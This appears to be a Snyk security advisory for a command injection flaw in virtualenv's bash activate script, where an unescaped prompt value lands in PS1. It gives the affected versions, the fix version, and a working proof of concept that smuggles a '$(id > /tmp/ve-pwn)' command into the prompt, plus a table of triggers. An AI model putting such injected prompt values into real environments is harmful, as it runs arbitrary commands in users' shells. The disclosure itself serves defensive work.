Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade virtualenv to version 21.14.13 or higher.
Affected versions of this package are vulnerable to Command Injection via insufficient escaping of the virtual environment prompt string in activate.sh when constructing PS1. When a virtualenv is created with a prompt value containing shell metacharacters (such as $() or backticks), the unescaped value is embedded directly into PS1. If bash subsequently evaluates PS1 with promptvars enabled - whether by the user toggling shopt -s promptvars, entering posix mode, or by a child bash process inheriting the exported PS1 - the embedded payload is executed as a shell command.
Note: This is only exploitable when the virtualenv prompt is set to an attacker-influenced value and the activating shell has promptvars disabled at activation time (or the poisoned PS1 is exported to a child shell).
Non-destructive payload: it runs id and writes the output to a file.
python -m virtualenv --no-seed --no-periodic-update --activators bash \ --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-democat > /tmp/rc <<'EOF' shopt -u promptvars . /tmp/venv-demo/bin/activate shopt -s promptvars EOF
the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null
cat /tmp/ve-pwn
Observed on 21.14.12:
$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)
The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.
Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:
After . bin/activate (activated with shopt -u promptvars) |
21.14.8 | 21.14.9 | 21.14.12 |
|---|---|---|---|
shopt -s promptvars |
inert | executes | executes |
set -o posix |
inert | executes | executes |
export PS1, then start an interactive child bash (its promptvars defaults to on) |
inert | executes | executes |
| control: activation with default options | inert | inert | inert |
control: activation with set -o posix already on |
inert | inert | inert |
The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.
shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.
Note: The PoC states it was observed on virtualenv 21.14.12, using bash with script(1) to provide a pty, with no specific OS stated beyond the uid output suggesting a Linux system.